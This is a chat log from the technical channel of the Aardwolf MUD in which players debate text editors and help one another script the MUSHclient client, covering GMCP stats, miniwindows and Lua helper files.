T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: Sheesh, at least use dropbox.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Trachx Tech: why don't use remote X server ?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The vast, vast majority of the time I use keyboard shortcuts to navigate that don't use the arrow system at all
T3/r7/2013-03-23.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: i use the google drive, let my overlords know what i'm doing
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: why over complicate things? ssh into the machine and use cli apps 
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Because CLI is alien to my brain - I can use it enough to get by, and obviously mudding I can do so at speed, but as far as dev work goes I am a GUI IDE sort of person
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Intellisense ahoy!
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: why use vim in the first place then? if you like to work with a mouse notepad++ or something similar would be better
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I use my mouse with vim
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: also has ftp and sftp plugins for working with remote files
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Because I saw how rabid people got over it and figured I would see how it was
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i use mouse in vim for copy/pasting thing from other non-ssh windows
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: also you should ssh with the -X or -Y options to forward X
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I use notepad++ for things like lua, where Eclipse/VS are lacking
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: why would i have X installed in the first place? :P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: I'm not rabid, I guess that's personal growth :D
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: People seem religious over it and EMACS
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I tried both to see what was what, I still don't get it
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i think emacs is too bloated for an os
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: vim and emacs are both stupid
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: people just like to fellate themselves on the internet
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Kinda like how I watched the first Twilight to see what all the fuss was about - hours I won't get back
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: I always used pico/nano because it served my purposes and I thought like Fiendish. Then I realized some of the awesome stuff VIM could do and put learning it on my to do list. Nano is still my goto atm though.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: nano is nice because it tells you exactly what you can do right at the bottom
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: though most people don't realize that nano also has Undo, because that's hidden away 
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: also you have to manually configure syntax highlighting for it
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but once you have those set up it's great
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh, btw, you can run vim in emacs, so it finally has a text editor
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: Fiendish, can you configure custom syntax highlighting?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I have a post-it on my desktop telling me to use nano when I'm not sure on transferring files, because I load up VIM on Ubuntu as a reflex and end up very confused.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: https://gitorious.org/evil
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I learned how to use vim because it seemed like a good idea to learn it. So I spent a few weeks getting comfortable with it. And now I can honestly say that it's just not really worth the effort
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: vim isn't very good at any of the things that you would want to use it for
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: Is there a better option for CLI Python IDE?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: I learned vi in the early 90s, because it was the only text editor available... and now it has change my neural paths permanently.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: your problem is that you've decided to hamstring yourself by forcing a CLI 
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i use notepad++ locally and vim in remote machines
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: they're both great
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: people are always like "oh vim can be a great ide!"  No. Visual Studio is a great IDE. vim has some crappy pluggins that provide a mediocre experience
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: You don't always have the option of X
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: You don't always need an ide.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's 'ok' as a text editor, but it's not worth the orgasms and poetry people spew on the internet about it
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: If it doesn't work for you, don't use it. 
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it works for me. I use it. It's just not worth wanking philosophic about
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: sorry, waxing
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: That's how I feel about IDEs.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: For me, and a lot of other people, vim is better than an ide, for the work we do. 
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: But I agree, it's not an ide.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: If I needed an IDE, i'd probably use eclipse... and figure out how to use vim as an editor in it.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: my point is that it's not magical as a text editor either
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: Agreed. No magic. Just very customizable.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: So if I'm looking for a CLI Python IDE your suggestions are "don't use CLI" or "don't use an IDE" ?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: Don't use an IDE would be my answer.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: python doesn't need an ide
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: IDEs are only needed in languages with bad structure, like java.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: That's subjective and "need" isn't the issue. I want to use the code completion to help me learn and the code folding to keep me from getting lost. It's a "want" thing.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: But your suggestions are noted. Thanks.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: Both those are text editor features, not ide features.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: I use them both, all the time, in vim.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: Enlighten me then, what separates an IDE from a text editor if not features such as those?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: Management of multiple files at the same time, e.g. for refactoring
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: Building of system/project
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: Generally has SCM integration and bug system integration too.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: Ok, well then I want a CLI text editor with plugins for syntax highlighting and code folding and code completion :P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: hello
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: anyone on?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ontuct Tech: type online to see how many are online
T3/r7/2013-03-23.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: who female to get some sex
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: wow, i didnt know tech was like curse ...
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Elkore Tech: if it was only that simple
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: i needed some assistance with the mush pc client
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ontuct Tech: I don't think that works Gruagach
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: oh dear, I wish I had a camera so I could tweet a picture of Gruagach
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ontuct Tech: give us a try
T3/r7/2013-03-23.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: follow me on twitter
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: never ask to ask, humbler
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: it is easier just to ask the question
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: i would like to modify the window that shows the health mana and moves to also have a bar for the quest timer
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: it's doable, but using bast's miniwindows is prbably easier
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: where do i get started?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: what is your skill level?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Chimeishio Tech: try finger bast and go to his site listed
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: i do not know how to quantify or qualify my skill level, do you mean do i program? yes, have i used this client for a long time, no
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: do what chimeishio said and look at bast's plugins
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: i just downloaded his zipped plugins, i am a bit out of my depth since i do not know where to start with customizing this client, is there a tutorial?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: so i guess there is no way to actually modify the current bar? is the script accessible in plain text?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: Yes you can modify, and yes it's available in plain text. I don't use MC so I can't help you too much more unfortunately.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: well, with Bast's miniwindows, you get something which tells you the quest time
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: but not in the status bar -- it will do cp time and other stuff as well
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: if you want to modify the status bar, you would have to change the client code -- possible, but it would be a fork and updates would be a pain.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: Surely one of thegt GQ 1 minute
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: Ixle goes, "Heh."
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: Surely one of the plugins has a quest timer
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: so my advice would be to use Bast's miniwindow which is close enough to what you want -- an on screen display of time till next quest
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: So if you aren't picky about it being a timer or a bar, that should work.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Vexthorne Tech: Bast's miniwindow plugin has a quest timer as stated
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: the events minwin has a quest tracker
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ontuct Tech: I just use the timer right in my prompt
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: and a double tracker:-)
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: you can also put the quest timer in your prompt.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: and no exp, and so on
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: i didnt mean the status bar but the miniwindow that shows health bars and such
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: yes I know -- Bast's stuff uses a different miniwindow, but that is all
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: so modifying the current minindown isnt feasible for a quick project?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: miniwindow, rather
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: unrelated question, is there a command for reordering the opened miniwindows to their default sizes and positions?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: it's entirely doable -- search the source for it, but the question is will you maintain it?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: yep, think it's resetaard
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: and, I think the GUI is wrong -- because as well as qtimer, you want Double, CP, maybe moons. Bast's event's miniwindow already does this
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: if you want to modify the source to make the health bar work, then it's doable -- but probably if you were going to do this, you wouldn't be asking "where do I start" but more specific technical questions.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: well i have never used this client before, i do not know if there is a tutorial which would make this easier, if there is a way to do it through the menus, or a shortcut
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Elkore Tech: which client?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: i didnt want to reinvent the wheel
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: Have you googled 'mushclient scripting' ?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: the aardwolf default client for windows, MUSHclient
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Elkore Tech: what are you trying to do?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Swalec Tech: no, you need to script that kind of facility -- and Bast has already done it. So, I would install these add-ons. They probably do most of the things that you might want. 
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: where is the source for the miniwindows that open by default?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: In different plugin files I believe.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Elkore Tech: you will find most of it in lua files
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Elkore Tech: if you are running mush, you already have those files
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: is lua a compiled language?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Elkore Tech: its a scripting language
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: okay so i see the logic, i need to look up how gmcp works to find the quest timer status variable
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Elkore Tech: thats prob the best way but a quick and dirty way is to put the quest timer into your prompt and write a trigger to match your prompt to get the quest timer
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: what does the info bar in mushclient do?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: what you tell it to do... You can access it from scripts.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: for instance, mine keeps track of how many potions I have so I don't run out mid-fight =P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: for using GMCP stuff will i have to use callplugin for every stand alone alias / trigger?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: Fatal FrostBite shrugs helplessly.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: haven't worked much with GMCP
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i just want to do an alias to report to me maxstats, one of the GMCP tables seems like the fastest option is al
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: if you're bold you could open up the mush stat tracker and see what you can find in there =P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah i looked in there and got lost before i got to the seccond line...
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: Fatal FrostBite falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im still new to coding anything :P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Elxi Tech: I bet quite a few people would appreciate/donate for screencasts of some aardmush scripting tutorials.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: don't you threaten me with a good time! I'll do it! =P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto cheers and sings... he is just BURSTING with joy!
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Elxi Tech: You heard him, get our your tp's echo ECHO:  GQ 1 minute
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Elxi Tech: Boy I gotta fix that :P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: haha
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Elxi Tech: Consider it a public service for now :P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: Fatal FrostBite falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: o well i have figured out alot from nick gammon's site but im still working at it :P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is GMCP maxstats supposed to show maximum stats or just currently trained stats
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: it's modified
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: ie trained + spells + eq
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: well when i tprint the table it just shows my current trained stats 
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: it'll show up exactly the same as what you see when you type 'rep stats'
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: at least it should
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: thats under stats, im talking anout maxstats
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: about*
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Oh, you mean like hp/mn/mv?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: no im looking to see if gmcp keeps a track of Maxstats as in maximum including trained + spells + eq
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That's what I've been saying the whole time...
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: stats = trained, maxstats = trained + eq + spells
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hp/mn/mv is under vitals
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: then how am i getting in maxstats.maxluck 64
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: http://www.aardwolf.com/wiki/index.php/Clients/GMCP
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Or more directly: http://www.aardwolf.com/wiki/index.php/Clients/MushclientGMCP
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah thats how im getting it to report out
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: what is your stats.luck? maybe i got it backwards
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: max might be trained and stats are modified
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Frostpaw Tech: you could check it via typing train, cheez :P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: stats.luck = 124, looks like maxstats is only trained
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Ok so stats == modified (trained + eq + spells) and maxstats == trained.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: strange headings to put it under then
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: agreed
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: guess ill have to calc maxstats manually
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: just grab them from the output of 'train'
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: or stats
T3/r7/2013-03-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: not max trained... max max stats
T3/r7/2013-03-23.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: how do i use planes mob plugin?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Turie Tech: plookup (mob name)
T3/r7/2013-03-23.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: thank you
T3/r7/2013-03-23.txt.gz:{chan ch=tech}GraySong Gregor Tech: nice, does that plugin work on telnet
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Turie Tech: Gregor: MUSHclient.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}GraySong Gregor Tech: oh ok, I use telnet
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: got that local echo plugin?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Slyzora Tech: is port 4000 the fastest port?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger boggles at the concept.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Hanslanda Tech: ports don't have varying speeds
T3/r7/2013-03-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: singapore has nice fast ports
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Slyzora Tech: hehe what do you mean?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Hanslanda Tech: no they don't, they're full of junks.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: He means, that question can't be answered, all ports are the same.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Slyzora Tech: is port 23 faster then 4000
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: They are the same.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Can't say it any more simply.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: It doesn't change from port-to-port.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Hanslanda Tech: faster? Nope.  Slower?  Nope again.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Slyzora Tech: ok ty
T3/r7/2013-03-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: Portia is pretty fast too
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Slyzora Tech: its pretty fast on my BB Z10 but abit slower on bb9900
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Slyzora Tech: hehe
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: can you access gmcp variables through vbscript?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: In MUSHclient?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: Fatal FrostBite nods.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: I know you can with lua, but can vbscript?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: Just use the helper files and you can write your scripts in whatever language, yeah
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: Fatal FrostBite rapidly nods twice, in complete agreement.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Thanks :)
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: actually, I might be wrong about that
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: you could use the gmcphandler plugin, but probably not the gmcphelper functions
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Helper file only seems to present them as lua variables
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: Leinei nods.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Lua > VBScript anyways :P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Vonliege Tech: can someone offer me a down and dirty way to have a pure text window for noted and such?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Vonliege Tech: WITHIN the Mush clinet?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Turie Tech: There is an example in the MUSHclient forums.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}BobTheGreat Tech: You might want to look into miniwindows. They're relatively simple to make. http://www.mushclient.com/mushclient/mw_intro.htm
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: If you don't care if it's always visible, just hit cntr+alt+w to open MUSHclient's notepad editor
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: and then ctrl+tab to switch between then
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Kaltas Tech: Any miniwindows you guys recommend to people as a must have? I have Bast's plugins and I wants to feel all tech-filled.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Vonliege Tech: that's some interesting reading.  but it's a bit deeper than I want to get right now.  Perhaps after a while.  I just want someplace to paste a CP list from Duckbat.com
T3/r7/2013-03-23.txt.gz:{chan ch=tech}BobTheGreat Tech: Ah. Then you want the notepad.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Vonliege Tech: that sounds about right... link?  author?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: ctrl+alt+w
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: or edit->notepad
T3/r7/2013-03-23.txt.gz:{chan ch=tech}BobTheGreat Tech: Built in! Leinei just told how to open it, though
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: and then ctrl+tab to switch between it and the main window
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Leinei Tech: Or you can resize your world window, and have both visible at the same time, if you wanted
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Vonliege Tech: that'll work....  I will look into that window making for something a bit more elegant down the road.. for the mean time, I will just tile it with the aard connection
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: i tried bingin the symbol to an alias, now i have an alias with no name or symbol and i dont know how to remove it O_o
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: binding, rather
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: the 'at'
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: what does the 'at' symbol do? i wasnt aware it was captured somewhere
T3/r7/2013-03-23.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: @
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: i cannot type it @w
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Turie Tech: @ is used for color coding
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: wow @
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Turie Tech: @R
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: i am idiot, so i bound @ with a space to the alias
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: alright tech heads, I downloaded the gmcp lua file and have the gcmphelper... Can I use the file with a vbscript engine? or do I have to convert all my stuff to lua?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: No.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Lua
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: so I'd have to convert everything???
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: You can use the file, but you can't call the lua interfaces from the vb engine
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: pretty sure mush accepts multiple scripting languages, including my favorite, python
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: or convert the helper to vb
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: While true for the most part, Humbler. This particular helper file is a pure Lua interface.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: which files are you talking about?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: the gmcphelper file found in the aardmush package
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: Fatal FrostBite nods at Big Meaty Cheezburger.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: MCDIR/lua/gmcphelper.lua iirc
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: id not heard of lua until today, what uses is the language optimized for?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Humbler Tech: is there a tutorial online?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: FB: If you do re-write the helper file in VB, i'd let fiendish and/or lasher know and they might include it for others.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: Fatal FrostBite nods.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Mostly for game front-end interfacing
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: I'll look at it. If I can rewrite I may take a stab at it.
